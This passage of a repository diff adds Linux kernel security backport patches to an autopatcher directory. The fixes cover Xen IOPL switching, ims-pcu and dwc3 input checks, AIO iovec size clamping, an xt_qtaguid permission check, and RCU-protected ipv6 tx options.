3.19-stable: no X86_FEATURE_XENPV so just call + xen_pv_domain() directly ] +Acked-by: Andy Lutomirski +Signed-off-by: Kamal Mostafa +Signed-off-by: Willy Tarreau +--- + arch/x86/include/asm/xen/hypervisor.h | 2 ++ + arch/x86/kernel/process_64.c | 12 ++++++++++++ + arch/x86/xen/enlighten.c | 2 +- + 3 files changed, 15 insertions(+), 1 deletion(-) + +diff --git a/arch/x86/include/asm/xen/hypervisor.h b/arch/x86/include/asm/xen/hypervisor.h +index 125f344f06a9..8ac93f05a8ea 100644 +--- a/arch/x86/include/asm/xen/hypervisor.h ++++ b/arch/x86/include/asm/xen/hypervisor.h +@@ -71,4 +71,6 @@ static inline bool xen_x2apic_para_available(void) + } + #endif + ++extern void xen_set_iopl_mask(unsigned mask); ++ + #endif /* _ASM_X86_XEN_HYPERVISOR_H */ +diff --git a/arch/x86/kernel/process_64.c b/arch/x86/kernel/process_64.c +index 7099ab1e075b..580001c2b69a 100644 +--- a/arch/x86/kernel/process_64.c ++++ b/arch/x86/kernel/process_64.c +@@ -49,6 +49,7 @@ + #include + #include + #include ++#include + + asmlinkage extern void ret_from_fork(void); + +@@ -412,6 +413,17 @@ __switch_to(struct task_struct *prev_p, struct task_struct *next_p) + task_thread_info(prev_p)->flags & _TIF_WORK_CTXSW_PREV)) + __switch_to_xtra(prev_p, next_p, tss); + ++#ifdef CONFIG_XEN ++ /* ++ * On Xen PV, IOPL bits in pt_regs->flags have no effect, and ++ * current_pt_regs()->flags may not match the current task's ++ * intended IOPL. We need to switch it manually. ++ */ ++ if (unlikely(xen_pv_domain() && ++ prev->iopl != next->iopl)) ++ xen_set_iopl_mask(next->iopl); ++#endif ++ + return prev_p; + } + +diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c +index 91cbe75a91d5..34511cf6baad 100644 +--- a/arch/x86/xen/enlighten.c ++++ b/arch/x86/xen/enlighten.c +@@ -952,7 +952,7 @@ static void xen_load_sp0(struct tss_struct *tss, + xen_mc_issue(PARAVIRT_LAZY_CPU); + } + +-static void xen_set_iopl_mask(unsigned mask) ++void xen_set_iopl_mask(unsigned mask) + { + struct physdev_set_iopl set_iopl; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0230-da23ec55b4ee-Input imspcu sanity check against missing interfaces.patch b/recipes-kernel/linux/linux-bass/autopatcher/0230-da23ec55b4ee-Input imspcu sanity check against missing interfaces.patch new file mode 100644 index 0000000..6c00c99 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0230-da23ec55b4ee-Input imspcu sanity check against missing interfaces.patch @@ -0,0 +1,43 @@ +From da23ec55b4ee3bd1c2e9ae2f89aea163e74b1887 Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Thu, 17 Mar 2016 14:00:17 -0700 +Subject: Input: ims-pcu - sanity check against missing interfaces + +commit a0ad220c96692eda76b2e3fd7279f3dcd1d8a8ff upstream. + +A malicious device missing interface can make the driver oops. +Add sanity checking. + +Signed-off-by: Oliver Neukum +CC: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +Signed-off-by: Willy Tarreau +--- + drivers/input/misc/ims-pcu.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/drivers/input/misc/ims-pcu.c b/drivers/input/misc/ims-pcu.c +index e204f26b0011a..77164dc1bedd1 100644 +--- a/drivers/input/misc/ims-pcu.c ++++ b/drivers/input/misc/ims-pcu.c +@@ -1433,6 +1433,8 @@ static int ims_pcu_parse_cdc_data(struct usb_interface *intf, struct ims_pcu *pc + + pcu->ctrl_intf = usb_ifnum_to_if(pcu->udev, + union_desc->bMasterInterface0); ++ if (!pcu->ctrl_intf) ++ return -EINVAL; + + alt = pcu->ctrl_intf->cur_altsetting; + pcu->ep_ctrl = &alt->endpoint[0].desc; +@@ -1440,6 +1442,8 @@ static int ims_pcu_parse_cdc_data(struct usb_interface *intf, struct ims_pcu *pc + + pcu->data_intf = usb_ifnum_to_if(pcu->udev, + union_desc->bSlaveInterface0); ++ if (!pcu->data_intf) ++ return -EINVAL; + + alt = pcu->data_intf->cur_altsetting; + if (alt->desc.bNumEndpoints != 2) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0231-84d8c81420aa-PATCH msm perf Do not allocate new hwevent if event is.patch b/recipes-kernel/linux/linux-bass/autopatcher/0231-84d8c81420aa-PATCH msm perf Do not allocate new hwevent if event is.patch new file mode 100644 index 0000000..10ad536 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0231-84d8c81420aa-PATCH msm perf Do not allocate new hwevent if event is.patch @@ -0,0 +1,52 @@ +From 84d8c81420aaa7c6cd6f57cb52daccf07b1f7a50 Mon Sep 17 00:00:00 2001 +From: Veena Sambasivan +Date: Thu, 19 May 2016 18:47:15 -0700 +Subject: [PATCH] msm: perf: Do not allocate new hw_event if event is + duplicate. + +During a perf_event_enable, kernel/events/core.c calls pmu->add() which +is platform implementation(arch/arm/kernel/perf_event.c). Due to the +duplicate constraints, arch/arm/mach-msm/perf_event_msm_krait_l2.c +drivers marks the event as OFF but returns TRUE to perf_event.c which +goes ahead and allocates the hw_event and enables it. +Since event is marked OFF, kernel events core will try to enable this event +again during next perf_event_enable. Which results in same event enabled +on multiple hw_events. But during the perf_release, event struct is freed +and only one hw_event is released. This results in dereferencing the +invalid pointer and hence the crash. +Fix this by returning error in case of constraint event duplicate. Hence +avoiding the same event programmed on multiple hw event counters. + +bug: 28172137 +Change-Id: Ia3360be027dfe87ac753191ffe7e0bc947e72455 +Signed-off-by: Arun KS +Signed-off-by: Veena Sambasivan +--- + arch/arm/kernel/perf_event.c | 1 + + arch/arm/mach-msm/perf_event_msm_krait_l2.c | 1 + + 2 files changed, 2 insertions(+) + +diff --git a/arch/arm/kernel/perf_event.c b/arch/arm/kernel/perf_event.c +index 0f288a7c035f9..a0c1e318a7905 100644 +--- a/arch/arm/kernel/perf_event.c ++++ b/arch/arm/kernel/perf_event.c +@@ -240,6 +240,7 @@ armpmu_add(struct perf_event *event, int flags) + pr_err("Event: %llx failed constraint check.\n", + event->attr.config); + event->state = PERF_EVENT_STATE_OFF; ++ err = -EPERM; + goto out; + } + +diff --git a/arch/arm/mach-msm/perf_event_msm_krait_l2.c b/arch/arm/mach-msm/perf_event_msm_krait_l2.c +index 65a5d2f8e1bcd..cc39b719b33fb 100644 +--- a/arch/arm/mach-msm/perf_event_msm_krait_l2.c ++++ b/arch/arm/mach-msm/perf_event_msm_krait_l2.c +@@ -468,6 +468,7 @@ static int msm_l2_test_set_ev_constraint(struct perf_event *event) + if (!(event->cpu < 0)) { + event->state = PERF_EVENT_STATE_OFF; + event->attr.constraint_duplicate = 1; ++ err = -EPERM; + } + } + out: diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0232-809609085868-PATCH AIO properly check iovec sizes.patch b/recipes-kernel/linux/linux-bass/autopatcher/0232-809609085868-PATCH AIO properly check iovec sizes.patch new file mode 100644 index 0000000..e72588b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0232-809609085868-PATCH AIO properly check iovec sizes.patch @@ -0,0 +1,53 @@ +From 8096090858689395a75bbf696ff8276c3c236b98 Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Thu, 25 Feb 2016 12:15:48 -0800 +Subject: [PATCH] AIO: properly check iovec sizes + +commit ff19ac8fb71e8a2bf07d61b959062998139c1104 upstream + +In Linus's tree, the iovec code has been reworked massively, but in +older kernels the AIO layer should be checking this before passing the +request on to other layers. + +Many thanks to Ben Hawkes of Google Project Zero for pointing out the +issue. + +Bug: 28588279 + +Reported-by: Ben Hawkes +Acked-by: Benjamin LaHaise +Tested-by: Willy Tarreau +[backported to 3.10 - willy] +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Greg Kroah-Hartman + +Change-Id: If539a08b42dd51a473b3f3743f9497e637266a05 +--- + fs/aio.c | 11 ++++++++--- + 1 file changed, 8 insertions(+), 3 deletions(-) + +diff --git a/fs/aio.c b/fs/aio.c +index ded94c4fa30d3..9798d4edfd8f2 100644 +--- a/fs/aio.c ++++ b/fs/aio.c +@@ -977,12 +977,17 @@ static ssize_t aio_setup_vectored_rw(int rw, struct kiocb *kiocb, bool compat) + + static ssize_t aio_setup_single_vector(int rw, struct kiocb *kiocb) + { +- if (unlikely(!access_ok(!rw, kiocb->ki_buf, kiocb->ki_nbytes))) +- return -EFAULT; ++ size_t len = kiocb->ki_nbytes; ++ ++ if (len > MAX_RW_COUNT) ++ len = MAX_RW_COUNT; ++ ++ if (unlikely(!access_ok(!rw, kiocb->ki_buf, len))) ++ return -EFAULT; + + kiocb->ki_iovec = &kiocb->ki_inline_vec; + kiocb->ki_iovec->iov_base = kiocb->ki_buf; +- kiocb->ki_iovec->iov_len = kiocb->ki_nbytes; ++ kiocb->ki_iovec->iov_len = len; + kiocb->ki_nr_segs = 1; + return 0; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0233.diff b/recipes-kernel/linux/linux-bass/autopatcher/0233.diff new file mode 100644 index 0000000..c172fbd --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0233.diff @@ -0,0 +1,13 @@ +diff --git a/net/netfilter/xt_qtaguid.c b/net/netfilter/xt_qtaguid.c +index c690e0f..9ce6228 100644 +--- a/net/netfilter/xt_qtaguid.c ++++ b/net/netfilter/xt_qtaguid.c +@@ -2521,7 +2521,7 @@ + uid_t stat_uid = get_uid_from_tag(tag); + struct proc_print_info *ppi = m->private; + /* Detailed tags are not available to everybody */ +- if (get_atag_from_tag(tag) && !can_read_other_uid_stats(stat_uid)) { ++ if (!can_read_other_uid_stats(stat_uid)) { + CT_DEBUG("qtaguid: stats line: " + "%s 0x%llx %u: insufficient priv " + "from pid=%u tgid=%u uid=%u stats.gid=%u\n", diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0234-3c0add95808f-USB dwc3 debugfs Add boundary check in dwc3storeepnum.patch b/recipes-kernel/linux/linux-bass/autopatcher/0234-3c0add95808f-USB dwc3 debugfs Add boundary check in dwc3storeepnum.patch new file mode 100644 index 0000000..7c2f848 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0234-3c0add95808f-USB dwc3 debugfs Add boundary check in dwc3storeepnum.patch @@ -0,0 +1,51 @@ +From 3c0add95808fdada98ba0ab465c0b4ba49e71d26 Mon Sep 17 00:00:00 2001 +From: Vijayavardhan Vennapusa +Date: Thu, 5 May 2016 14:37:08 +0530 +Subject: USB: dwc3: debugfs: Add boundary check in dwc3_store_ep_num() + +User can pass arguments as part of write to requests and endpoint number +will be calculated based on the arguments. There is a chance that driver +can access ep structue that is not allocated due to invalid arguments +passed by user. Hence fix the issue by having check and return error in +case of invalid arguments. + +Change-Id: I060ea878b55ce0f9983b91c50e58718c8a2c2fa1 +Signed-off-by: Vijayavardhan Vennapusa +--- + drivers/usb/dwc3/debugfs.c | 12 ++++++++++-- + 1 file changed, 10 insertions(+), 2 deletions(-) + +diff --git a/drivers/usb/dwc3/debugfs.c b/drivers/usb/dwc3/debugfs.c +index 857b413..fc3f959 100644 +--- a/drivers/usb/dwc3/debugfs.c ++++ b/drivers/usb/dwc3/debugfs.c +@@ -650,7 +650,7 @@ static ssize_t dwc3_store_ep_num(struct file *file, const char __user *ubuf, + struct seq_file *s = file->private_data; + struct dwc3 *dwc = s->private; + char kbuf[10]; +- unsigned int num, dir; ++ unsigned int num, dir, temp; + unsigned long flags; + + memset(kbuf, 0, 10); +@@ -661,8 +661,16 @@ static ssize_t dwc3_store_ep_num(struct file *file, const char __user *ubuf, + if (sscanf(kbuf, "%u %u", &num, &dir) != 2) + return -EINVAL; + ++ if (dir != 0 && dir != 1) ++ return -EINVAL; ++ ++ temp = (num << 1) + dir; ++ if (temp >= (dwc->num_in_eps + dwc->num_out_eps) || ++ temp >= DWC3_ENDPOINTS_NUM) ++ return -EINVAL; ++ + spin_lock_irqsave(&dwc->lock, flags); +- ep_num = (num << 1) + dir; ++ ep_num = temp; + spin_unlock_irqrestore(&dwc->lock, flags); + + return count; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0235.diff b/recipes-kernel/linux/linux-bass/autopatcher/0235.diff new file mode 100644 index 0000000..2270f25 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0235.diff @@ -0,0 +1,530 @@ +diff --git a/include/linux/ipv6.h b/include/linux/ipv6.h +index 3d15bbd..802cf38 100644 +--- a/include/linux/ipv6.h ++++ b/include/linux/ipv6.h +@@ -219,7 +219,7 @@ + struct ipv6_ac_socklist *ipv6_ac_list; + struct ipv6_fl_socklist __rcu *ipv6_fl_list; + +- struct ipv6_txoptions *opt; ++ struct ipv6_txoptions __rcu *opt; + struct sk_buff *pktoptions; + struct sk_buff *rxpmtu; + struct { +diff --git a/include/net/ipv6.h b/include/net/ipv6.h +index 67b4380..aaff01b 100644 +--- a/include/net/ipv6.h ++++ b/include/net/ipv6.h +@@ -203,6 +203,7 @@ + */ + + struct ipv6_txoptions { ++ atomic_t refcnt; + /* Length of this structure */ + int tot_len; + +@@ -215,7 +216,7 @@ + struct ipv6_opt_hdr *dst0opt; + struct ipv6_rt_hdr *srcrt; /* Routing Header */ + struct ipv6_opt_hdr *dst1opt; +- ++ struct rcu_head rcu; + /* Option buffer, as read by IPV6_PKTOPTIONS, starts here. */ + }; + +@@ -246,6 +247,24 @@ + struct rcu_head rcu; + }; + ++static inline struct ipv6_txoptions *txopt_get(const struct ipv6_pinfo *np) ++{ ++ struct ipv6_txoptions *opt; ++ ++ rcu_read_lock(); ++ opt = rcu_dereference(np->opt); ++ if (opt && !atomic_inc_not_zero(&opt->refcnt)) ++ opt = NULL; ++ rcu_read_unlock(); ++ return opt; ++} ++ ++static inline void txopt_put(struct ipv6_txoptions *opt) ++{ ++ if (opt && atomic_dec_and_test(&opt->refcnt)) ++ kfree_rcu(opt, rcu); ++} ++ + extern struct ip6_flowlabel *fl6_sock_lookup(struct sock *sk, __be32 label); + extern struct ipv6_txoptions *fl6_merge_options(struct ipv6_txoptions * opt_space, + struct ip6_flowlabel * fl, +diff --git a/net/dccp/ipv6.c b/net/dccp/ipv6.c +index 9c61f9c..b599a73 100644 +--- a/net/dccp/ipv6.c ++++ b/net/dccp/ipv6.c +@@ -234,7 +234,9 @@ + security_req_classify_flow(req, flowi6_to_flowi(&fl6)); + + +- final_p = fl6_update_dst(&fl6, np->opt, &final); ++ rcu_read_lock(); ++ final_p = fl6_update_dst(&fl6, rcu_dereference(np->opt), &final); ++ rcu_read_unlock(); + + dst = ip6_dst_lookup_flow(sk, &fl6, final_p, false); + if (IS_ERR(dst)) { +@@ -251,7 +253,10 @@ + &ireq6->loc_addr, + &ireq6->rmt_addr); + fl6.daddr = ireq6->rmt_addr; +- err = ip6_xmit(sk, skb, &fl6, np->opt, np->tclass); ++ rcu_read_lock(); ++ err = ip6_xmit(sk, skb, &fl6, rcu_dereference(np->opt), ++ np->tclass); ++ rcu_read_unlock(); + err = net_xmit_eval(err); + } + +@@ -447,6 +452,7 @@ + { + struct inet6_request_sock *ireq6 = inet6_rsk(req); + struct ipv6_pinfo *newnp, *np = inet6_sk(sk); ++ struct ipv6_txoptions *opt; + struct inet_sock *newinet; + struct dccp6_sock *newdp6; + struct sock *newsk; +@@ -570,13 +576,15 @@ + * Yes, keeping reference count would be much more clever, but we make + * one more one thing there: reattach optmem to newsk. + */ +- if (np->opt != NULL) +- newnp->opt = ipv6_dup_options(newsk, np->opt); +- ++ opt = rcu_dereference(np->opt); ++ if (opt) { ++ opt = ipv6_dup_options(newsk, opt); ++ RCU_INIT_POINTER(newnp->opt, opt); ++ } + inet_csk(newsk)->icsk_ext_hdr_len = 0; +- if (newnp->opt != NULL) +- inet_csk(newsk)->icsk_ext_hdr_len = (newnp->opt->opt_nflen + +- newnp->opt->opt_flen); ++ if (opt) ++ inet_csk(newsk)->icsk_ext_hdr_len = opt->opt_nflen + ++ opt->opt_flen; + + dccp_sync_mss(newsk, dst_mtu(dst)); + +@@ -828,6 +836,7 @@ + struct ipv6_pinfo *np = inet6_sk(sk); + struct dccp_sock *dp = dccp_sk(sk); + struct in6_addr *saddr = NULL, *final_p, final; ++ struct ipv6_txoptions *opt; + struct flowi6 fl6; + struct dst_entry *dst; + int addr_type; +@@ -930,7 +939,8 @@ + fl6.fl6_sport = inet->inet_sport; + security_sk_classify_flow(sk, flowi6_to_flowi(&fl6)); + +- final_p = fl6_update_dst(&fl6, np->opt, &final); ++ opt = rcu_dereference_protected(np->opt, sock_owned_by_user(sk)); ++ final_p = fl6_update_dst(&fl6, opt, &final); + + dst = ip6_dst_lookup_flow(sk, &fl6, final_p, true); + if (IS_ERR(dst)) { +@@ -950,9 +960,8 @@ + __ip6_dst_store(sk, dst, NULL, NULL); + + icsk->icsk_ext_hdr_len = 0; +- if (np->opt != NULL) +- icsk->icsk_ext_hdr_len = (np->opt->opt_flen + +- np->opt->opt_nflen); ++ if (opt) ++ icsk->icsk_ext_hdr_len = opt->opt_flen + opt->opt_nflen; + + inet->inet_dport = usin->sin6_port; + +diff --git a/net/ipv6/af_inet6.c b/net/ipv6/af_inet6.c +index d29ae19..04e88b5 100644 +--- a/net/ipv6/af_inet6.c ++++ b/net/ipv6/af_inet6.c +@@ -448,9 +448,11 @@ + + /* Free tx options */ + +- opt = xchg(&np->opt, NULL); +- if (opt != NULL) +- sock_kfree_s(sk, opt, opt->tot_len); ++ opt = xchg((__force struct ipv6_txoptions **)&np->opt, NULL); ++ if (opt) { ++ atomic_sub(opt->tot_len, &sk->sk_omem_alloc); ++ txopt_put(opt); ++ } + } + EXPORT_SYMBOL_GPL(inet6_destroy_sock); + +@@ -697,7 +699,10 @@ + fl6.flowi6_uid = sock_i_uid(sk); + security_sk_classify_flow(sk, flowi6_to_flowi(&fl6)); + +- final_p = fl6_update_dst(&fl6, np->opt, &final); ++ rcu_read_lock(); ++ final_p = fl6_update_dst(&fl6, rcu_dereference(np->opt), ++ &final); ++ rcu_read_unlock(); + + dst = ip6_dst_lookup_flow(sk, &fl6, final_p, false); + if (IS_ERR(dst)) { +diff --git a/net/ipv6/datagram.c b/net/ipv6/datagram.c +index 4a559a5..7e36b4b 100644 +--- a/net/ipv6/datagram.c ++++ b/net/ipv6/datagram.c +@@ -169,8 +169,10 @@ + + security_sk_classify_flow(sk, flowi6_to_flowi(&fl6)); + +- opt = flowlabel ? flowlabel->opt : np->opt; ++ rcu_read_lock(); ++ opt = flowlabel ? flowlabel->opt : rcu_dereference(np->opt); + final_p = fl6_update_dst(&fl6, opt, &final); ++ rcu_read_unlock(); + + dst = ip6_dst_lookup_flow(sk, &fl6, final_p, true); + err = 0; +diff --git a/net/ipv6/exthdrs.c b/net/ipv6/exthdrs.c +index 07a7d65..6d13fe4 100644 +--- a/net/ipv6/exthdrs.c ++++ b/net/ipv6/exthdrs.c +@@ -733,6 +733,7 @@ + *((char **)&opt2->dst1opt) += dif; + if (opt2->srcrt) + *((char **)&opt2->srcrt) += dif; ++ atomic_set(&opt2->refcnt, 1); + } + return opt2; + } +@@ -796,7 +797,7 @@ + return ERR_PTR(-ENOBUFS); + + memset(opt2, 0, tot_len); +- ++ atomic_set(&opt2->refcnt, 1); + opt2->tot_len = tot_len; + p = (char *)(opt2 + 1); + +diff --git a/net/ipv6/inet6_connection_sock.c b/net/ipv6/inet6_connection_sock.c +index 65a4605..157f2b2 100644 +--- a/net/ipv6/inet6_connection_sock.c ++++ b/net/ipv6/inet6_connection_sock.c +@@ -78,7 +78,9 @@ + memset(fl6, 0, sizeof(*fl6)); + fl6->flowi6_proto = IPPROTO_TCP; + fl6->daddr = treq->rmt_addr; +- final_p = fl6_update_dst(fl6, np->opt, &final); ++ rcu_read_lock(); ++ final_p = fl6_update_dst(fl6, rcu_dereference(np->opt), &final); ++ rcu_read_unlock(); + fl6->saddr = treq->loc_addr; + fl6->flowi6_oif = treq->iif; + fl6->flowi6_mark = inet_rsk(req)->ir_mark; +@@ -215,7 +217,9 @@ + fl6->flowi6_uid = sock_i_uid(sk); + security_sk_classify_flow(sk, flowi6_to_flowi(fl6)); + +- final_p = fl6_update_dst(fl6, np->opt, &final); ++ rcu_read_lock(); ++ final_p = fl6_update_dst(fl6, rcu_dereference(np->opt), &final); ++ rcu_read_unlock(); + + dst = __inet6_csk_dst_check(sk, np->dst_cookie); + if (!dst) { +@@ -249,7 +253,8 @@ + /* Restore final destination back after routing done */ + fl6.daddr = np->daddr; + +- res = ip6_xmit(sk, skb, &fl6, np->opt, np->tclass); ++ res = ip6_xmit(sk, skb, &fl6, rcu_dereference(np->opt), ++ np->tclass); + rcu_read_unlock(); + return res; + } +diff --git a/net/ipv6/ipv6_sockglue.c b/net/ipv6/ipv6_sockglue.c +index d1e2e8e..f4d2412 100644 +--- a/net/ipv6/ipv6_sockglue.c ++++ b/net/ipv6/ipv6_sockglue.c +@@ -110,10 +110,12 @@ + icsk->icsk_ext_hdr_len = opt->opt_flen + opt->opt_nflen; + icsk->icsk_sync_mss(sk, icsk->icsk_pmtu_cookie); + } +- opt = xchg(&inet6_sk(sk)->opt, opt); ++ opt = xchg((__force struct ipv6_txoptions **)&inet6_sk(sk)->opt, ++ opt); + } else { + spin_lock(&sk->sk_dst_lock); +- opt = xchg(&inet6_sk(sk)->opt, opt); ++ opt = xchg((__force struct ipv6_txoptions **)&inet6_sk(sk)->opt, ++ opt); + spin_unlock(&sk->sk_dst_lock); + } + sk_dst_reset(sk); +@@ -213,9 +215,12 @@ + sk->sk_socket->ops = &inet_dgram_ops; + sk->sk_family = PF_INET; + } +- opt = xchg(&np->opt, NULL); +- if (opt) +- sock_kfree_s(sk, opt, opt->tot_len); ++ opt = xchg((__force struct ipv6_txoptions **)&np->opt, ++ NULL); ++ if (opt) { ++ atomic_sub(opt->tot_len, &sk->sk_omem_alloc); ++ txopt_put(opt); ++ } + pktopt = xchg(&np->pktoptions, NULL); + kfree_skb(pktopt); + +@@ -385,7 +390,8 @@ + if (optname != IPV6_RTHDR && !ns_capable(net->user_ns, CAP_NET_RAW)) + break; + +- opt = ipv6_renew_options(sk, np->opt, optname, ++ opt = rcu_dereference_protected(np->opt, sock_owned_by_user(sk)); ++ opt = ipv6_renew_options(sk, opt, optname, + (struct ipv6_opt_hdr __user *)optval, + optlen); + if (IS_ERR(opt)) { +@@ -414,8 +420,10 @@ + retv = 0; + opt = ipv6_update_options(sk, opt); + sticky_done: +- if (opt) +- sock_kfree_s(sk, opt, opt->tot_len); ++ if (opt) { ++ atomic_sub(opt->tot_len, &sk->sk_omem_alloc); ++ txopt_put(opt); ++ } + break; + } + +@@ -468,6 +476,7 @@ + break; + + memset(opt, 0, sizeof(*opt)); ++ atomic_set(&opt->refcnt, 1); + opt->tot_len = sizeof(*opt) + optlen; + retv = -EFAULT; + if (copy_from_user(opt+1, optval, optlen)) +@@ -484,8 +493,10 @@ + retv = 0; + opt = ipv6_update_options(sk, opt); + done: +- if (opt) +- sock_kfree_s(sk, opt, opt->tot_len); ++ if (opt) { ++ atomic_sub(opt->tot_len, &sk->sk_omem_alloc); ++ txopt_put(opt); ++ } + break; + } + case IPV6_UNICAST_HOPS: +@@ -1085,10 +1096,11 @@ + case IPV6_RTHDR: + case IPV6_DSTOPTS: + { ++ struct ipv6_txoptions *opt; + + lock_sock(sk); +- len = ipv6_getsockopt_sticky(sk, np->opt, +- optname, optval, len); ++ opt = rcu_dereference_protected(np->opt, sock_owned_by_user(sk)); ++ len = ipv6_getsockopt_sticky(sk, opt, optname, optval, len); + release_sock(sk); + /* check if ipv6_getsockopt_sticky() returns err code */ + if (len < 0) +diff --git a/net/ipv6/raw.c b/net/ipv6/raw.c +index a9db8d2..5693cf2 100644 +--- a/net/ipv6/raw.c ++++ b/net/ipv6/raw.c +@@ -726,6 +726,7 @@ + static int rawv6_sendmsg(struct kiocb *iocb, struct sock *sk, + struct msghdr *msg, size_t len) + { ++ struct ipv6_txoptions *opt_to_free = NULL; + struct ipv6_txoptions opt_space; + struct sockaddr_in6 * sin6 = (struct sockaddr_in6 *) msg->msg_name; + struct in6_addr *daddr, *final_p, final; +@@ -833,8 +834,10 @@ + if (!(opt->opt_nflen|opt->opt_flen)) + opt = NULL; + } +- if (opt == NULL) +- opt = np->opt; ++ if (!opt) { ++ opt = txopt_get(np); ++ opt_to_free = opt; ++ } + if (flowlabel) + opt = fl6_merge_options(&opt_space, flowlabel, opt); + opt = ipv6_fixup_options(&opt_space, opt); +@@ -901,6 +904,7 @@ + dst_release(dst); + out: + fl6_sock_release(flowlabel); ++ txopt_put(opt_to_free); + return err<0?err:len; + do_confirm: + dst_confirm(dst); +diff --git a/net/ipv6/syncookies.c b/net/ipv6/syncookies.c +index ba8622d..701d065 100644 +--- a/net/ipv6/syncookies.c ++++ b/net/ipv6/syncookies.c +@@ -237,7 +237,7 @@ + memset(&fl6, 0, sizeof(fl6)); + fl6.flowi6_proto = IPPROTO_TCP; + fl6.daddr = ireq6->rmt_addr; +- final_p = fl6_update_dst(&fl6, np->opt, &final); ++ final_p = fl6_update_dst(&fl6, rcu_dereference(np->opt), &final); + fl6.saddr = ireq6->loc_addr; + fl6.flowi6_oif = sk->sk_bound_dev_if; + fl6.flowi6_mark = ireq->ir_mark; +diff --git a/net/ipv6/tcp_ipv6.c b/net/ipv6/tcp_ipv6.c +index 8bb486f..e3fa69d 100644 +--- a/net/ipv6/tcp_ipv6.c ++++ b/net/ipv6/tcp_ipv6.c +@@ -133,6 +133,7 @@ + struct ipv6_pinfo *np = inet6_sk(sk); + struct tcp_sock *tp = tcp_sk(sk); + struct in6_addr *saddr = NULL, *final_p, final; ++ struct ipv6_txoptions *opt; + struct rt6_info *rt; + struct flowi6 fl6; + struct dst_entry *dst; +@@ -254,7 +255,8 @@ + fl6.fl6_sport = inet->inet_sport; + fl6.flowi6_uid = sock_i_uid(sk); + +- final_p = fl6_update_dst(&fl6, np->opt, &final); ++ opt = rcu_dereference_protected(np->opt, sock_owned_by_user(sk)); ++ final_p = fl6_update_dst(&fl6, opt, &final); + + security_sk_classify_flow(sk, flowi6_to_flowi(&fl6)); + +@@ -283,9 +285,9 @@ + tcp_fetch_timewait_stamp(sk, dst); + + icsk->icsk_ext_hdr_len = 0; +- if (np->opt) +- icsk->icsk_ext_hdr_len = (np->opt->opt_flen + +- np->opt->opt_nflen); ++ if (opt) ++ icsk->icsk_ext_hdr_len = opt->opt_flen + ++ opt->opt_nflen; + + tp->rx_opt.mss_clamp = IPV6_MIN_MTU - sizeof(struct tcphdr) - sizeof(struct ipv6hdr); + +@@ -481,7 +483,8 @@ + + fl6->daddr = treq->rmt_addr; + skb_set_queue_mapping(skb, queue_mapping); +- err = ip6_xmit(sk, skb, fl6, np->opt, np->tclass); ++ err = ip6_xmit(sk, skb, fl6, rcu_dereference(np->opt), ++ np->tclass); + err = net_xmit_eval(err); + } + +@@ -1090,6 +1093,7 @@ + struct inet6_request_sock *treq; + struct ipv6_pinfo *newnp, *np = inet6_sk(sk); + struct tcp6_sock *newtcp6sk; ++ struct ipv6_txoptions *opt; + struct inet_sock *newinet; + struct tcp_sock *newtp; + struct sock *newsk; +@@ -1223,13 +1227,15 @@ + but we make one more one thing there: reattach optmem + to newsk. + */ +- if (np->opt) +- newnp->opt = ipv6_dup_options(newsk, np->opt); +- ++ opt = rcu_dereference(np->opt); ++ if (opt) { ++ opt = ipv6_dup_options(newsk, opt); ++ RCU_INIT_POINTER(newnp->opt, opt); ++ } + inet_csk(newsk)->icsk_ext_hdr_len = 0; +- if (newnp->opt) +- inet_csk(newsk)->icsk_ext_hdr_len = (newnp->opt->opt_nflen + +- newnp->opt->opt_flen); ++ if (opt) ++ inet_csk(newsk)->icsk_ext_hdr_len = opt->opt_nflen + ++ opt->opt_flen; + + tcp_mtup_init(newsk); + tcp_sync_mss(newsk, dst_mtu(dst)); +diff --git a/net/ipv6/udp.c b/net/ipv6/udp.c +index d9df8f7..0ec703a 100644 +--- a/net/ipv6/udp.c ++++ b/net/ipv6/udp.c +@@ -1012,6 +1012,7 @@ + struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *) msg->msg_name; + struct in6_addr *daddr, *final_p, final; + struct ipv6_txoptions *opt = NULL; ++ struct ipv6_txoptions *opt_to_free = NULL; + struct ip6_flowlabel *flowlabel = NULL; + struct flowi6 fl6; + struct dst_entry *dst; +@@ -1166,8 +1167,10 @@ + opt = NULL; + connected = 0; + } +- if (opt == NULL) +- opt = np->opt; ++ if (!opt) { ++ opt = txopt_get(np); ++ opt_to_free = opt; ++ } + if (flowlabel) + opt = fl6_merge_options(&opt_space, flowlabel, opt); + opt = ipv6_fixup_options(&opt_space, opt); +@@ -1268,6 +1271,7 @@ + out: + dst_release(dst); + fl6_sock_release(flowlabel); ++ txopt_put(opt_to_free); + if (!err) + return len; + /* +diff --git a/net/l2tp/l2tp_ip6.c b/net/l2tp/l2tp_ip6.c +index e6e8408..3b61ddd 100644 +--- a/net/l2tp/l2tp_ip6.c ++++ b/net/l2tp/l2tp_ip6.c +@@ -485,6 +485,7 @@ + (struct sockaddr_l2tpip6 *) msg->msg_name; + struct in6_addr *daddr, *final_p, final; + struct ipv6_pinfo *np = inet6_sk(sk); ++ struct ipv6_txoptions *opt_to_free = NULL; + struct ipv6_txoptions *opt = NULL; + struct ip6_flowlabel *flowlabel = NULL; + struct dst_entry *dst = NULL; +@@ -575,8 +576,10 @@ + opt = NULL; + } + +- if (opt == NULL) +- opt = np->opt; ++ if (!opt) { ++ opt = txopt_get(np); ++ opt_to_free = opt; ++ } + if (flowlabel) + 